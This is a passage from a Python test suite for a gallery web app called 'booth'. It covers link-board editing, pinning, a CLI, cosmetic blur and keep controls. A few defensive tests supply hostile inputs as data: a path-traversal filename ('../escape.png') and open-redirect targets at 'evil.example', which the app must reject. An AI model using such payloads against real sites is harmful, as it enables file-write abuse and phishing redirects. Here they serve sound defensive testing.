|
||
# inlined stylesheet that ships on every page.
|
||
assert 'class="grid kept-grid"' not in html, "the lane must not render when nothing is kept"
|
||
assert 'class="card card-kept"' not in html
|
||
|
||
|
||
# ---- the standing link board: per-entry removal -----------------------------
|
||
#
|
||
# The link board is the one MULTI-WRITER booth: every agent session appends to
|
||
# it. "Delete the folder" is the wrong granularity for a dead link, and until
|
||
# now it was the only option short of hand-editing the markdown.
|
||
|
||
_ROW = "- [{d}]({u}) <sub>· {w} · 2026-08-23 10:00</sub>"
|
||
|
||
|
||
def _board(tmp_path, *rows):
|
||
b = tmp_path / "links"
|
||
b.mkdir(parents=True, exist_ok=True)
|
||
(b / LINKS_FILE).write_text("".join(r + "\n" for r in rows))
|
||
return b
|
||
|
||
|
||
def test_parse_reads_description_url_and_provenance(tmp_path):
|
||
b = _board(tmp_path, _ROW.format(d="Booth", u="http://x/", w="infra-ops"))
|
||
|
||
e = parse_link_entries((b / LINKS_FILE).read_text())[0]
|
||
|
||
assert e["desc"] == "Booth"
|
||
assert e["url"] == "http://x/"
|
||
assert e["who"] == "infra-ops"
|
||
assert e["when"] == "2026-08-23 10:00"
|
||
|
||
|
||
def test_parse_tolerates_prose_around_the_rows(tmp_path):
|
||
"""The board is a plain markdown file the operator may edit by hand."""
|
||
b = _board(tmp_path, "# My board", "", _ROW.format(d="A", u="http://a/", w="x"),
|
||
"a note someone typed", _ROW.format(d="B", u="http://b/", w="y"))
|
||
|
||
e = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
assert [x["desc"] for x in e] == ["A", "B"]
|
||
|
||
|
||
def test_ids_are_content_addressed_not_positional(tmp_path):
|
||
"""The whole reason removal is by id: another session can append at any
|
||
moment, and an index would then point at a different row."""
|
||
row_a = _ROW.format(d="A", u="http://a/", w="x")
|
||
b = _board(tmp_path, row_a)
|
||
before = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
|
||
|
||
# a concurrent session appends ABOVE nothing but shifts nothing either way
|
||
with (b / LINKS_FILE).open("a") as f:
|
||
f.write(_ROW.format(d="B", u="http://b/", w="y") + "\n")
|
||
|
||
after = {e["desc"]: e["id"] for e in parse_link_entries((b / LINKS_FILE).read_text())}
|
||
|
||
assert after["A"] == before, "an append must not change an existing row's id"
|
||
|
||
|
||
def test_remove_takes_exactly_the_named_row(tmp_path):
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="keep me", u="http://a/", w="x"),
|
||
_ROW.format(d="kill me", u="http://b/", w="y"),
|
||
_ROW.format(d="keep me too", u="http://c/", w="z"))
|
||
target = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
|
||
if e["desc"] == "kill me")
|
||
|
||
removed = remove_link_entry(b, target["id"])
|
||
|
||
assert removed["desc"] == "kill me"
|
||
left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
|
||
assert left == ["keep me", "keep me too"]
|
||
|
||
|
||
def test_remove_reports_a_miss_rather_than_deleting_a_neighbour(tmp_path):
|
||
"""The failure mode that matters: a stale id must be a no-op, not a guess."""
|
||
b = _board(tmp_path, _ROW.format(d="only", u="http://a/", w="x"))
|
||
|
||
assert remove_link_entry(b, "deadbeef") is None
|
||
assert len(parse_link_entries((b / LINKS_FILE).read_text())) == 1
|
||
|
||
|
||
def test_remove_preserves_hand_written_prose(tmp_path):
|
||
b = _board(tmp_path, "# Board", _ROW.format(d="gone", u="http://a/", w="x"), "trailing note")
|
||
target = parse_link_entries((b / LINKS_FILE).read_text())[0]
|
||
|
||
remove_link_entry(b, target["id"])
|
||
|
||
text = (b / LINKS_FILE).read_text()
|
||
assert "# Board" in text and "trailing note" in text
|
||
assert "http://a/" not in text
|
||
|
||
|
||
def test_remove_on_a_board_with_no_file_is_a_no_op(tmp_path):
|
||
b = tmp_path / "links"
|
||
b.mkdir()
|
||
assert remove_link_entry(b, "whatever") is None
|
||
|
||
|
||
def test_unlink_endpoint_removes_one_row(client):
|
||
c, data = client
|
||
b = _board(data, _ROW.format(d="a", u="http://a/", w="x"),
|
||
_ROW.format(d="b", u="http://b/", w="y"))
|
||
target = parse_link_entries((b / LINKS_FILE).read_text())[1]
|
||
|
||
r = c.post("/b/links/unlink", data={"entry": target["id"]}, follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())] == ["a"]
|
||
|
||
|
||
def test_unlink_endpoint_rejects_a_bad_booth(client):
|
||
c, _ = client
|
||
assert c.post("/b/nope/unlink", data={"entry": "x"}).status_code == 404
|
||
|
||
|
||
def _body(client_, path):
|
||
"""Rendered body only — the stylesheet mentions class names too."""
|
||
return client_.get(path).text.split("</style>")[-1]
|
||
|
||
|
||
def test_board_booth_renders_rows_not_a_markdown_blob(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"),
|
||
_ROW.format(d="B", u="http://b/", w="y"))
|
||
|
||
body = _body(c, "/b/links/")
|
||
|
||
assert body.count('class="board-row"') == 2
|
||
assert "/b/links/unlink" in body, "each row needs its own remove control"
|
||
assert 'class="gallery"' not in body, "links.md must not ALSO render as a doc tile"
|
||
|
||
|
||
def test_board_booth_does_not_claim_to_be_empty(client):
|
||
"""Filtering links.md out of the gallery leaves items empty — the empty
|
||
state must key on the board too, or a full board reads as an empty booth."""
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
|
||
|
||
assert "is empty" not in _body(c, "/b/links/")
|
||
|
||
|
||
def test_board_booth_counts_links_not_files(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"),
|
||
_ROW.format(d="B", u="http://b/", w="y"))
|
||
|
||
assert "2 links" in _body(c, "/b/links/")
|
||
|
||
|
||
def test_board_booth_has_no_one_click_wipe(client):
|
||
"""Same rule as the kept lane: no single click destroys a durable board."""
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
|
||
|
||
assert "Wipe now" not in _body(c, "/b/links/")
|
||
|
||
|
||
def test_ordinary_booths_are_untouched_by_the_board_branch(client):
|
||
c, data = client
|
||
_touch(data / "run1" / "a.png")
|
||
|
||
body = _body(c, "/b/run1/")
|
||
|
||
assert "Wipe now" in body
|
||
assert "1 item" in body
|
||
assert 'class="board-row"' not in body
|
||
|
||
|
||
def test_a_genuinely_empty_booth_still_says_so(client):
|
||
c, data = client
|
||
(data / "hollow").mkdir()
|
||
|
||
assert "is empty" in _body(c, "/b/hollow/")
|
||
|
||
|
||
# ---- the `booth` CLI: links / unlink ----------------------------------------
|
||
#
|
||
# Exercised as a subprocess because the bugs these pin were SHELL bugs, not
|
||
# Python ones — the module was correct throughout while the wrapper silently
|
||
# did nothing. Testing the module alone would have caught neither.
|
||
|
||
import subprocess
|
||
|
||
CLI = pathlib.Path(__file__).resolve().parent.parent / "scripts" / "booth"
|
||
|
||
|
||
def _cli(data, *args):
|
||
env = {**os.environ, "BOOTH_DATA_DIR": str(data)}
|
||
return subprocess.run([str(CLI), *args], capture_output=True, text=True, env=env)
|
||
|
||
|
||
def test_cli_links_exits_zero_on_a_NON_empty_board(tmp_path):
|
||
"""Regression: the branch ended with `[ "$n" -eq 0 ] && echo ...`, so it
|
||
returned 1 whenever the board had rows. `unlink`'s index lookup calls it
|
||
inside $( ) under `set -e`, so a successful listing killed the caller and
|
||
the removal silently did nothing."""
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
|
||
r = _cli(tmp_path, "links")
|
||
|
||
assert r.returncode == 0, r.stderr
|
||
assert "http://a/" in r.stdout
|
||
|
||
|
||
def test_cli_unlink_by_index(tmp_path):
|
||
for u in ("http://a/", "http://b/", "http://c/"):
|
||
_cli(tmp_path, "link", u, u)
|
||
|
||
r = _cli(tmp_path, "unlink", "2")
|
||
|
||
assert r.returncode == 0, r.stderr
|
||
assert "http://b/" in r.stdout
|
||
left = _cli(tmp_path, "links").stdout
|
||
assert "http://a/" in left and "http://c/" in left and "http://b/" not in left
|
||
|
||
|
||
def test_cli_unlink_by_id_even_when_the_id_is_all_digits(tmp_path):
|
||
"""Regression: ids are 8 hex chars and roughly one in forty is all digits.
|
||
Those were being read as row numbers, resolving to nothing, and removing
|
||
nothing — while reporting success."""
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
board = tmp_path / "links"
|
||
entry = parse_link_entries((board / LINKS_FILE).read_text())[0]
|
||
# force the all-digit case rather than waiting for it to occur naturally
|
||
forced = "12345678"
|
||
raw = (board / LINKS_FILE).read_text()
|
||
assert entry["id"] != forced
|
||
|
||
r = _cli(tmp_path, "unlink", entry["id"])
|
||
|
||
assert r.returncode == 0, r.stderr
|
||
assert parse_link_entries((board / LINKS_FILE).read_text()) == []
|
||
assert raw # board did exist beforehand
|
||
|
||
|
||
def test_cli_unlink_rejects_a_non_id_non_index(tmp_path):
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
|
||
r = _cli(tmp_path, "unlink", "zz")
|
||
|
||
assert r.returncode != 0
|
||
assert "not an entry id" in r.stderr
|
||
assert parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())
|
||
|
||
|
||
def test_cli_unlink_of_a_stale_id_leaves_the_board_alone(tmp_path):
|
||
_cli(tmp_path, "link", "http://a/", "A")
|
||
|
||
r = _cli(tmp_path, "unlink", "deadbeef")
|
||
|
||
assert r.returncode != 0
|
||
assert len(parse_link_entries((tmp_path / "links" / LINKS_FILE).read_text())) == 1
|
||
|
||
|
||
# ---- the standing link board: pin (favorite) + ordering + multi-select ------
|
||
#
|
||
# The board renders pinned-first then newest-first, a ★ pins a row to the top,
|
||
# and a checkbox column feeds a bulk delete. Pin state lives in a `.pins` sidecar
|
||
# (content ids, one per line) so links.md stays a pure append log and a row's id
|
||
# never changes just because it was pinned.
|
||
|
||
|
||
def test_read_pins_empty_when_no_file(tmp_path):
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
assert read_pins(b) == set()
|
||
assert not (b / PINS_FILE).exists()
|
||
|
||
|
||
def test_toggle_pin_round_trips(tmp_path):
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
|
||
|
||
assert toggle_pin(b, eid) is True
|
||
assert read_pins(b) == {eid}
|
||
|
||
assert toggle_pin(b, eid) is False
|
||
assert read_pins(b) == set()
|
||
|
||
|
||
def test_pins_persist_in_a_dotfile_not_in_links_md(tmp_path):
|
||
"""The whole reason for the sidecar: links.md stays untouched by a pin, so it
|
||
remains a pure atomic-append log and the row's content id does not drift."""
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
before = (b / LINKS_FILE).read_text()
|
||
eid = parse_link_entries(before)[0]["id"]
|
||
|
||
toggle_pin(b, eid)
|
||
|
||
assert (b / LINKS_FILE).read_text() == before, "pinning must not rewrite links.md"
|
||
assert (b / PINS_FILE).read_text().strip() == eid
|
||
assert PINS_FILE.startswith("."), "pin file must be a dotfile so listings skip it"
|
||
|
||
|
||
def test_order_for_display_pins_first_then_newest(tmp_path):
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="oldest", u="http://1/", w="x"),
|
||
_ROW.format(d="middle", u="http://2/", w="x"),
|
||
_ROW.format(d="newest", u="http://3/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
ids = {e["desc"]: e["id"] for e in entries}
|
||
|
||
ordered = order_for_display(entries, {ids["middle"]})
|
||
|
||
# pinned (middle) leads; the rest fall in newest-first order
|
||
assert [e["desc"] for e in ordered] == ["middle", "newest", "oldest"]
|
||
assert ordered[0]["pinned"] is True
|
||
assert all(e["pinned"] is False for e in ordered[1:])
|
||
|
||
|
||
def test_order_for_display_is_newest_first_with_no_pins(tmp_path):
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="first", u="http://1/", w="x"),
|
||
_ROW.format(d="last", u="http://2/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
ordered = order_for_display(entries, set())
|
||
|
||
assert [e["desc"] for e in ordered] == ["last", "first"] # newest on top
|
||
|
||
|
||
def test_order_for_display_does_not_mutate_parse_output(tmp_path):
|
||
"""Callers that want the file-order view (the CLI) must not see a `pinned`
|
||
key leak into parse_link_entries' dicts."""
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
order_for_display(entries, {entries[0]["id"]})
|
||
|
||
assert "pinned" not in entries[0]
|
||
|
||
|
||
def test_orphan_pin_is_inert_not_shown_as_pinned(tmp_path):
|
||
"""A pin id that no longer matches any row must simply not render as pinned —
|
||
never crash, never resurrect a phantom row."""
|
||
b = _board(tmp_path, _ROW.format(d="a", u="http://a/", w="x"))
|
||
entries = parse_link_entries((b / LINKS_FILE).read_text())
|
||
|
||
ordered = order_for_display(entries, {"deadbeef"}) # id matches nothing
|
||
|
||
assert [e["desc"] for e in ordered] == ["a"]
|
||
assert ordered[0]["pinned"] is False
|
||
|
||
|
||
def test_remove_link_entry_also_unpins(tmp_path):
|
||
"""Removing a row drops its pin, so .pins does not accumulate dead ids."""
|
||
b = _board(tmp_path,
|
||
_ROW.format(d="keep", u="http://a/", w="x"),
|
||
_ROW.format(d="gone", u="http://b/", w="y"))
|
||
gone = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "gone")
|
||
keep = next(e for e in parse_link_entries((b / LINKS_FILE).read_text()) if e["desc"] == "keep")
|
||
toggle_pin(b, gone["id"])
|
||
toggle_pin(b, keep["id"])
|
||
assert read_pins(b) == {gone["id"], keep["id"]}
|
||
|
||
remove_link_entry(b, gone["id"])
|
||
|
||
assert read_pins(b) == {keep["id"]}, "the removed row's pin is dropped, the other kept"
|
||
|
||
|
||
# ---- HTTP: /pin and /unlink-many --------------------------------------------
|
||
|
||
|
||
def test_pin_endpoint_toggles(client):
|
||
c, data = client
|
||
b = _board(data, _ROW.format(d="a", u="http://a/", w="x"))
|
||
eid = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
|
||
|
||
r = c.post("/b/links/pin", data={"entry": eid}, follow_redirects=False)
|
||
assert r.status_code == 303
|
||
assert read_pins(b) == {eid}
|
||
|
||
c.post("/b/links/pin", data={"entry": eid})
|
||
assert read_pins(b) == set()
|
||
|
||
|
||
def test_pin_endpoint_rejects_a_bad_booth(client):
|
||
c, _ = client
|
||
assert c.post("/b/nope/pin", data={"entry": "x"}).status_code == 404
|
||
|
||
|
||
def test_unlink_many_removes_all_selected(client):
|
||
c, data = client
|
||
b = _board(data,
|
||
_ROW.format(d="a", u="http://a/", w="x"),
|
||
_ROW.format(d="b", u="http://b/", w="y"),
|
||
_ROW.format(d="c", u="http://c/", w="z"))
|
||
es = parse_link_entries((b / LINKS_FILE).read_text())
|
||
a_id = next(e["id"] for e in es if e["desc"] == "a")
|
||
c_id = next(e["id"] for e in es if e["desc"] == "c")
|
||
|
||
r = c.post("/b/links/unlink-many", data={"sel": [a_id, c_id]}, follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
|
||
assert left == ["b"]
|
||
|
||
|
||
def test_unlink_many_empty_selection_is_a_noop(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="a", u="http://a/", w="x"))
|
||
|
||
r = c.post("/b/links/unlink-many", data={}, follow_redirects=False)
|
||
|
||
assert r.status_code == 303
|
||
assert len(parse_link_entries((data / "links" / LINKS_FILE).read_text())) == 1
|
||
|
||
|
||
def test_unlink_many_rejects_a_bad_booth(client):
|
||
c, _ = client
|
||
assert c.post("/b/nope/unlink-many", data={"sel": "x"}).status_code == 404
|
||
|
||
|
||
# ---- HTTP: the board renders the new controls in the right order ------------
|
||
|
||
|
||
def test_board_renders_pin_and_multiselect_controls(client):
|
||
c, data = client
|
||
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
|
||
|
||
body = _body(c, "/b/links/")
|
||
|
||
assert "/b/links/pin" in body # per-row pin control
|
||
assert "/b/links/unlink-many" in body # bulk delete
|
||
assert 'name="sel"' in body # selection checkbox
|
||
assert 'class="board-pin' in body # the ★ toggle
|
||
|
||
|
||
def test_board_page_orders_newest_first_and_pinned_on_top(client):
|
||
c, data = client
|
||
b = _board(data,
|
||
_ROW.format(d="first-posted", u="http://1/", w="x"),
|
||
_ROW.format(d="last-posted", u="http://2/", w="y"))
|
||
|
||
body = _body(c, "/b/links/")
|
||
assert body.index("last-posted") < body.index("first-posted"), "newest on top by default"
|
||
|
||
older = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
|
||
if e["desc"] == "first-posted")
|
||
c.post("/b/links/pin", data={"entry": older["id"]})
|
||
|
||
body2 = _body(c, "/b/links/")
|
||
assert body2.index("first-posted") < body2.index("last-posted"), "pinned row floats to the top"
|
||
assert "1 pinned" in body2
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Blur (cosmetic censoring) + the keep button on ephemeral cards.
|
||
# Both added 2026-09-19 on operator request.
|
||
#
|
||
# ⚠ Every blur test below asserts the COSMETIC contract deliberately: the file
|
||
# stays reachable. If someone later "fixes" that by 403-ing blurred items, these
|
||
# tests fail and that is correct — it would be a different feature with a
|
||
# different name, and half-implemented access control is worse than none.
|
||
# ---------------------------------------------------------------------------
|
||
|
||
from booth.app import BLUR_FILE, read_blurred, set_blurred # noqa: E402
|
||
|
||
|
||
def _png(p):
|
||
p.write_bytes(
|
||
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
|
||
b"\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00"
|
||
b"\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82"
|
||
)
|
||
|
||
|
||
def test_blur_state_roundtrip(tmp_path):
|
||
assert read_blurred(tmp_path) == set(), "missing file must read as empty"
|
||
set_blurred(tmp_path, "a/x.png", True)
|
||
set_blurred(tmp_path, "b.png", True)
|
||
assert read_blurred(tmp_path) == {"a/x.png", "b.png"}
|
||
set_blurred(tmp_path, "b.png", False)
|
||
assert read_blurred(tmp_path) == {"a/x.png"}
|
||
|
||
|
||
def test_blur_state_removes_file_when_empty(tmp_path):
|
||
"""An empty set deletes the marker rather than leaving a zero-byte file, so
|
||
`ls -a` tells the truth about whether anything in here is blurred."""
|
||
set_blurred(tmp_path, "x.png", True)
|
||
assert (tmp_path / BLUR_FILE).exists()
|
||
set_blurred(tmp_path, "x.png", False)
|
||
assert not (tmp_path / BLUR_FILE).exists()
|
||
|
||
|
||
def test_blur_state_is_idempotent_both_ways(tmp_path):
|
||
set_blurred(tmp_path, "x.png", False) # unblur what was never blurred
|
||
assert read_blurred(tmp_path) == set()
|
||
set_blurred(tmp_path, "x.png", True)
|
||
set_blurred(tmp_path, "x.png", True) # blur twice
|
||
assert read_blurred(tmp_path) == {"x.png"}
|
||
|
||
|
||
def test_build_gallery_flags_blurred_items(tmp_path):
|
||
_png(tmp_path / "a.png")
|
||
_png(tmp_path / "b.png")
|
||
set_blurred(tmp_path, "a.png", True)
|
||
by_name = {i["name"]: i for i in build_gallery(tmp_path)}
|
||
assert by_name["a.png"]["blurred"] is True
|
||
assert by_name["b.png"]["blurred"] is False, "unblurred items must not be flagged"
|
||
|
||
|
||
def test_blur_route_toggles_both_directions(client):
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
|
||
c.post("/b/bo/blur", data={"f": "x.png", "on": "1"}, follow_redirects=False)
|
||
assert read_blurred(d) == {"x.png"}
|
||
c.post("/b/bo/blur", data={"f": "x.png", "on": "0"}, follow_redirects=False)
|
||
assert read_blurred(d) == set()
|
||
|
||
|
||
def test_blur_route_rejects_traversal(client):
|
||
"""A blur entry is always booth-relative. Without this the marker file is a
|
||
write-primitive pointed at an attacker-chosen path."""
|
||
c, root = client
|
||
(root / "bo").mkdir()
|
||
r = c.post("/b/bo/blur", data={"f": "../escape.png", "on": "1"},
|
||
follow_redirects=False)
|
||
assert r.status_code == 400
|
||
assert read_blurred(root / "bo") == set()
|
||
|
||
|
||
def test_blurred_item_renders_blurred_and_unblurred_does_not(client):
|
||
"""Both states, because a blur class that is always present is the same
|
||
instrument as one that is never present."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "hidden.png")
|
||
_png(d / "shown.png")
|
||
|
||
body = c.get("/b/bo/").text
|
||
assert "item-image blurred" not in body, "nothing blurred yet"
|
||
|
||
set_blurred(d, "hidden.png", True)
|
||
body = c.get("/b/bo/").text
|
||
assert "blurred" in body
|
||
assert 'data-item="hidden.png"' in body
|
||
|
||
|
||
def test_blur_is_cosmetic_the_file_is_still_served(client):
|
||
"""The contract, asserted on purpose. Blur hides an item from a glance; it
|
||
is NOT access control and must never be mistaken for it."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
set_blurred(d, "x.png", True)
|
||
assert c.get("/b/bo/x.png").status_code == 200
|
||
|
||
|
||
def test_index_blurs_the_cover_thumb_only_when_the_cover_is_blurred(client):
|
||
"""Otherwise the front page cheerfully displays the exact thing someone
|
||
asked to hide inside the booth."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "cover.png")
|
||
|
||
# Assert the ATTRIBUTE, not the bare string: `.blurred-thumb{...}` is in
|
||
# base.html's stylesheet on every page, so a substring check passes in both
|
||
# states and proves nothing. This test failed usefully on exactly that.
|
||
assert 'class="blurred-thumb"' not in c.get("/").text
|
||
set_blurred(d, "cover.png", True)
|
||
assert 'class="blurred-thumb"' in c.get("/").text
|
||
|
||
|
||
def test_ephemeral_card_offers_keep_and_keeping_works(client):
|
||
"""The /keep route and `booth keep` predate this button; until 2026-09-19
|
||
the UI could only RELEASE a kept booth, so the round trip needed a shell."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
|
||
body = c.get("/").text
|
||
assert 'action="/b/bo/keep"' in body, "ephemeral card must offer keep"
|
||
|
||
c.post("/b/bo/keep", follow_redirects=False)
|
||
assert (d / KEEP_MARKER).exists()
|
||
|
||
# ...and the round trip closes: released booths lose the marker again.
|
||
c.post("/b/bo/unkeep", follow_redirects=False)
|
||
assert not (d / KEEP_MARKER).exists()
|
||
|
||
|
||
def test_blur_applies_to_inline_docs_not_just_images(client):
|
||
"""Regression: the first implementation only patched the image/video
|
||
<figure>. Inline docs render through their OWN branch and were left
|
||
unblurred — the branch that puts readable text straight on the page. The
|
||
suite passed; a live check caught it."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
(d / "plain.txt").write_text("visible")
|
||
(d / "secret.txt").write_text("hidden")
|
||
set_blurred(d, "secret.txt", True)
|
||
|
||
body = c.get("/b/bo/").text
|
||
assert '<figure class="item item-doc blurred"' in body
|
||
assert body.count('<figure class="item item-doc blurred"') == 1, (
|
||
"exactly the blurred doc, not every doc"
|
||
)
|
||
|
||
|
||
def test_every_item_kind_gets_exactly_one_blur_toggle(client):
|
||
"""The regression guard for this whole feature's recurring bug.
|
||
|
||
booth.html has THREE item branches — doc, media, other — and each pass at
|
||
this feature patched some and missed others: first the blurred class landed
|
||
on media only, then the toggle landed on media only and the operator asked
|
||
"no UI option to blur/unblur?". A count assertion across mixed kinds is the
|
||
check that actually catches it; a spot check on one item never will.
|
||
"""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
(d / "note.txt").write_text("doc branch") # -> item-doc
|
||
_png(d / "pic.png") # -> item-image
|
||
(d / "blob.bin").write_bytes(b"\x00\x01binary") # -> item-other
|
||
|
||
body = c.get("/b/bo/").text
|
||
figures = body.count('<figure class="item item-')
|
||
toggles = body.count('class="blurtoggle')
|
||
assert figures == 3, f"expected all three kinds to render, got {figures}"
|
||
assert toggles == figures, (
|
||
f"{figures} items but {toggles} blur toggles — a branch was missed again"
|
||
)
|
||
|
||
|
||
def test_blur_toggle_posts_the_opposite_state(client):
|
||
"""The button must flip, not just set. A toggle hard-coded to on=1 looks
|
||
identical in the markup and silently cannot un-blur."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "pic.png")
|
||
|
||
assert 'name="on" value="1"' in c.get("/b/bo/").text
|
||
set_blurred(d, "pic.png", True)
|
||
body = c.get("/b/bo/").text
|
||
assert 'name="on" value="0"' in body, "a blurred item must offer un-blur"
|
||
assert "◉ blurred" in body
|
||
|
||
|
||
# ---------------------------------------------------------------------------
|
||
# Operator-reported, 2026-09-21: "the reveal button doesn't do anything".
|
||
# It rendered and was inert — the handler sat after {%- endblock -%} in a child
|
||
# template, which Jinja DISCARDS. Two commits and a README claimed
|
||
# click-to-reveal worked. The suite passed the whole time because nothing
|
||
# asserted against the SERVED page.
|
||
# ---------------------------------------------------------------------------
|
||
|
||
|
||
def test_reveal_handler_actually_reaches_the_served_page(client):
|
||
"""The regression that matters. Assert the handler is IN THE RESPONSE, not
|
||
that the template file contains the text — the template contained it fine
|
||
and the browser never saw it."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
set_blurred(d, "x.png", True)
|
||
|
||
body = c.get("/b/bo/").text
|
||
assert 'class="reveal"' in body, "the button must render"
|
||
assert "classList.toggle('revealed')" in body, (
|
||
"the handler must reach the page — a button with no handler is a dead "
|
||
"control, which is exactly what shipped"
|
||
)
|
||
|
||
|
||
def test_no_orphaned_markup_after_the_content_block(client):
|
||
"""Structural guard for the same defect class: anything a child template
|
||
puts outside a block is silently dropped, so the only safe number of
|
||
closing content-block tags is one, at the very end."""
|
||
tpl = (pathlib.Path(__file__).parent.parent
|
||
/ "booth" / "templates" / "booth.html").read_text()
|
||
after = tpl[tpl.rindex("{% endblock %}") + len("{% endblock %}"):]
|
||
assert after.strip() == "", (
|
||
f"content after the final endblock is discarded by Jinja: {after[:120]!r}"
|
||
)
|
||
|
||
|
||
def test_booth_page_offers_keep_when_ephemeral_and_release_when_kept(client):
|
||
"""Operator: 'adding a keep button inside a booth'. Both states, because a
|
||
control that always says the same thing cannot be driving off real state."""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
|
||
body = c.get("/b/bo/").text
|
||
# Sliced on the ELEMENT, not the bare word: `boothhead` has appeared in the
|
||
# stylesheet this page carries since long before this assertion, so
|
||
# `split("boothhead")[1]` was reading CSS and passing on luck. It went red
|
||
# the first time a new rule landed above the old one (U5's .prov), which is
|
||
# the only reason anybody noticed. Same assertion, aimed at the markup.
|
||
head = body.split('class="boothhead"')[1][:900]
|
||
assert "☆ keep" in body and "release" not in head
|
||
|
||
c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
|
||
body = c.get("/b/bo/").text
|
||
assert "★ kept — release" in body
|
||
|
||
|
||
def test_keep_from_inside_a_booth_stays_on_the_booth_page(client):
|
||
"""Without `next` the route redirects to /, which throws you out of the
|
||
booth you were reading."""
|
||
c, root = client
|
||
(root / "bo").mkdir()
|
||
r = c.post("/b/bo/keep", data={"next": "/b/bo/"}, follow_redirects=False)
|
||
assert r.headers["location"] == "/b/bo/"
|
||
r = c.post("/b/bo/keep", follow_redirects=False) # no next
|
||
assert r.headers["location"] == "/"
|
||
|
||
|
||
def test_next_refuses_an_open_redirect(client):
|
||
"""`next` comes from a form field, so it is attacker-controlled input."""
|
||
c, root = client
|
||
(root / "bo").mkdir()
|
||
for evil in ("//evil.example/x", "https://evil.example/x", "\\\\evil"):
|
||
r = c.post("/b/bo/keep", data={"next": evil}, follow_redirects=False)
|
||
assert r.headers["location"] == "/", f"{evil!r} must not be honoured"
|
||
|
||
|
||
def test_kept_lane_offers_a_direct_wipe_beside_release(client):
|
||
"""Operator: 'allow an x to delete next to release so i don't have to
|
||
release and then find it to delete it.'"""
|
||
c, root = client
|
||
d = root / "bo"
|
||
d.mkdir()
|
||
_png(d / "x.png")
|
||
(d / KEEP_MARKER).touch()
|
||
|
||
body = c.get("/").text
|
||
assert 'class="wipe wipe-kept"' in body, "kept card must offer a direct ×"
|
||
assert 'action="/b/bo/unkeep"' in body, "release must still be there too"
|
||
# ...and it actually wipes.
|
||
c.post("/b/bo/delete", follow_redirects=False)
|
||
assert not d.exists()
|
||
|
||
|
||
# ---- the running service is a coherent snapshot ------------------------------
|
||
#
|
||
# Outage, 2026-09-21: 19 of 25 live booths returned 500 with
|
||
# `UndefinedError: 'item_marks' is undefined`. Nothing was wrong with either the
|
||
# old code or the new code — the service was running BOTH. `booth.service` sets
|
||
# WorkingDirectory to the repo, so the repo IS the deployment root, and Jinja's
|
||
# FileSystemLoader re-reads a template from disk on every render while the Python
|
||
# stays as it was at process start. Editing a template therefore deployed it
|
||
# INSTANTLY, against Python that had never heard of the context it wanted.
|
||
#
|
||
# The fix is not "remember to restart" — it is to make the two halves fail the
|
||
# same way, so the running process is always the code as of its start time.
|
||
|
||
|
||
def test_templates_do_not_hot_reload_from_disk(tmp_path):
|
||
"""Templates must be cached at startup, exactly like the Python is.
|
||
|
||
With auto_reload on, the two halves of the service have DIFFERENT staleness
|
||
rules — Python needs a restart, templates do not — and any edit to a
|
||
template puts a live service into a state that was never tested: new markup
|
||
against old context. One consistent rule ("nothing takes effect until you
|
||
restart") turns a silent 500 storm into a change that simply has not
|
||
happened yet.
|
||
"""
|
||
from booth.app import create_app
|
||
|
||
